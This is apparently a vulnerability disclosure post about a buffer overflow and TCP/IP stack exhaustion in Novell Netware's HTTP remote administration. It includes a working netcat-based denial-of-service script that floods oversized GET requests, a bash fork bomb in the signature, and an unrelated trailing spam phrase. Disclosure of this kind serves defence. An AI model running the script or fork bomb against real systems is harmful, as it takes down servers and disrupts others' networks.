Hi again. Another overflow and TCP/IP stack flaw. Affected: virtually any system running on the top of Netware system with http remote administration (including web caching solutions, BorderManager firewall and so on)... There's an buffer overflow in remote (http, usually on port 8008 or so) administration protocol for tcp-enabled Netware servers - it might be exploited by sending request like that: GET / AAAAAAAAAAAAAAAAAAAAAAAAAAA.......(something between 4 and 8kb) Connection won't be dropped (that's Netware TCP/IP stack problem or _feature_), but you'll get an error message on console, sometimes with stack dump (yes, lovely: 41 41 41 41... ;) There are two problems with it: 1. Of course, overflow, allowing attacker to execute arbitraty code on server, 2. Problem with TCP/IP stack; there's no automatic clean-up in case of application crash. By connecting, sending evil request, disconnecting and connecting again for some time (usually few thousand times is enough), whole TCP/IP stack will be fscked up, causing death of TCP networking (first, server starts to refuse or immediately drops any connection, then stops responding network requests), and, eventually, whole server dies. There's simple script, which, left for some time, should kill Netware TCP/IP. Please change $SERVER and $PORT for testing purposes. -- kill_nwtcp.c -- #!/bin/sh SERVER=127.0.0.1 PORT=8008 WAIT=3 DUZOA=`perl -e '{print "A"x4093}'` MAX=30 while :; do ILE=0 while [ $ILE -lt $MAX ]; do ( ( echo "GET /" echo $DUZOA echo ) | nc $SERVER $PORT & sleep $WAIT kill -9 $! ) &>/dev/null & ILE=$[ILE+1] done sleep $WAIT done -- EOF -- For me, Novell sells pretty good IPX solutions for local networks, but it isn't the best idea to use it as firewall, as system architecture based on DOS isn't good for Real Networking :( _______________________________________________________ Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security] [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};: =-----=> God is real, unless declared integer. <=-----=

亚洲欧美在线